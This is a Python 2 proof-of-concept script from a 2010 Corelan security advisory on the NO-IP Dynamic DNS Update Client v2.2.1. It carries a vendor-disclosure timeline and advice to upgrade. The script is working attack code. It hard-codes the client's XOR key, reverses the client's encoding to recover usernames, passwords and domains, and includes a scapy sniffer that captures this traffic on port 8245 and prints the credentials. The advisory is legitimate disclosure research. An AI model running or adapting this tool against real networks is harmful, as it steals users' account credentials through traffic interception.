#!/usr/bin/python

"""
|------------------------------------------------------------------|
|                         __               __                      |
|   _________  ________  / /___ _____     / /____  ____ _____ ___  |
|  / ___/ __ \/ ___/ _ \/ / __ `/ __ \   / __/ _ \/ __ `/ __ `__ \ |
| / /__/ /_/ / /  /  __/ / /_/ / / / /  / /_/  __/ /_/ / / / / / / |
| \___/\____/_/   \___/_/\__,_/_/ /_/   \__/\___/\__,_/_/ /_/ /_/  |
|                                                                  |
|                                       http://www.corelan.be:8800 |
|                                              security@corelan.be |
|                                                                  |
|-------------------------------------------------[ EIP Hunters ]--|

NO-IP.com Dynamic DNS Update Client (DUC) v2.2.1 Request Decoder
http://www.corelan.be:8800/advisories.php?id=CORELAN-10-052
by: sinn3r
http://twitter.com/_sinn3r
Software Tested on: Windows XP SP3 ENG (victim) + BT4 Final (attacker)
Greetz: Corelan Security Team & Offensive Security Exploit Database Team
Special thanks to: Kurt from no-ip.com

Description:
DUC is a dynamic DNS update client that continually checks for IP changes in the
background and automataically updates the DNS at NO-IP via HTTP. The username,
password, and domain name can be decoded thus making the user more vulnerable to
MITM attacks.  We encourage v2 users to upgrade to v3 for this particular reason:
http://www.no-ip.com/downloads.php?page=win3

Timeline:
03/10/2010 - Vendor Contacted.
03/19/2010 - Contacting the vendor again.
03/20/2010 - Initial response from vendor
03/25/2010 - Requesting for a patch update
03/26/2010 - Vendor replies, no update yet.
03/31/2010 - Requesting for a patch date again.
04/01/2010 - Vendor tells us they plan to release v3 on 4/15/2010.
04/17/2010 - v3 final delayed. Requesting for another update.
04/19/2010 - Vendor sets v3 release date to 4/27/2010.  Proof of concept delivered.
04/27/2010 - v3 final delayed.
05/12/2010 - Requesting for another update.
05/18/2010 - Vendor sets v3 release date to 6/02/2010.
06/02/2010 - v3 final delayed.
06/12/2010 - Requesting final deadline.
06/22/2010 - Vendor releases v3
"""

import base64
import re
from scapy.all import *

def decode(enc_request):
 """
 The custom encoder consists of 3 stages:
 1. Rearrange the request string in reverse (find the code at 0x00470259)
 2. XOR the reversed string with a private key (find the code at 0x0046F868)
 3. Base64 the XOR'd string   (find the code at 0x004706D0)
 """
 private_key = "9ICybvm/nqBpiSo0x8KNVBlZ1Ad96+8fPRHtX4+zBBuV00c"
 private_key_length = len(private_key)

 ## 1st Stage: Base64 Decoder
 stage1 = base64.decodestring(enc_request)

 ## 2nd Stage: The custom XOR algorithm
 stage2 = []
 counter = 0
 for byte in stage1:
  hex_byte  = byte.encode("hex")   #XOR key
  hex_value = private_key[counter].encode("hex") #Value
  int_byte  = int(hex_byte, 16)   #Convert hex to int for XOR
  int_value = int(hex_value, 16)   #Convert hex to int for XOR
  xor = int_value ^ int_byte
  xor_char = chr(xor)
  stage2.append(xor_char)
  if counter >= private_key_length-1:
   counter = 0
  else:
   counter += 1

 ## 3rd stage: Reverse order
 stage2.reverse()
 stage3 = "".join(stage2)
 return stage3 #Secret

def callback(pkt):
 """
 The callback function for the scapy sniffer
 filter="tcp and port 8245"
 """
 raw = pkt.sprintf("%Raw.load%")
 m = re.search("\?request=[a-zA-Z0-9=]+ ", raw)
 if m != None:
  encoded_request = m.group(0)
  encoded_request = encoded_request.replace("?request=", "")
  tmp = decode(encoded_request.strip())
  secret = format(tmp)
  print "[*] I smell password!"
  print "%s\n" %secret

def format(data):
 """
 Modify the display format for your viewing pleasure
 """
 data = data.replace("&", "\n")
 data = data.replace("pass=", "password=")
 data = data.replace("h[]=", "domain=")
 return data

if __name__ == "__main__":
 try:
  print "|---------------------------------------------------------------|"
  print "|  NO-IP.com Domain Update Client (DUC) v2.2.1 Request Decoder  |"
  print "|  Coded by sinn3r                         twitter.com/_sinn3r  |"
  print "|---------------------------------------------------------------|\r\n"

  print "Mode 1: Basic    (Use wireshark to sniff the string on port 8245 first)"
  print "Mode 2: Sniffer  (Forward the traffic to this machine first.)\n"
  mode = raw_input("Select mode [1]: ")

  ## Basic Mode
  if mode == "1":
   #Listen on port 8245 with Wireshark to grab the REQUEST string
   #Example: "WCEiEQMeGEJTAjERGXUCXxsWPz0zNiwuQiQQBFpCWQs1"
   encoded_request = raw_input("Encoded string: ")
   if encoded_request != "":
    tmp = decode(encoded_request)
    secret = format(tmp)
    print secret
  ## Sniffer Mode
  elif mode == "2":
   print "[*] Sniffing for NO-IP traffic on port 8245..."
   print "[*] Press [CTRL] + [C] to stop sniffing.\n"
   sniffer = sniff(filter="tcp and port 8245", prn=callback)
  else:
   print "[*] Que?"
 except KeyboardInterrupt:
  print "\r\n[*] Good bye"
  sys.exit(0)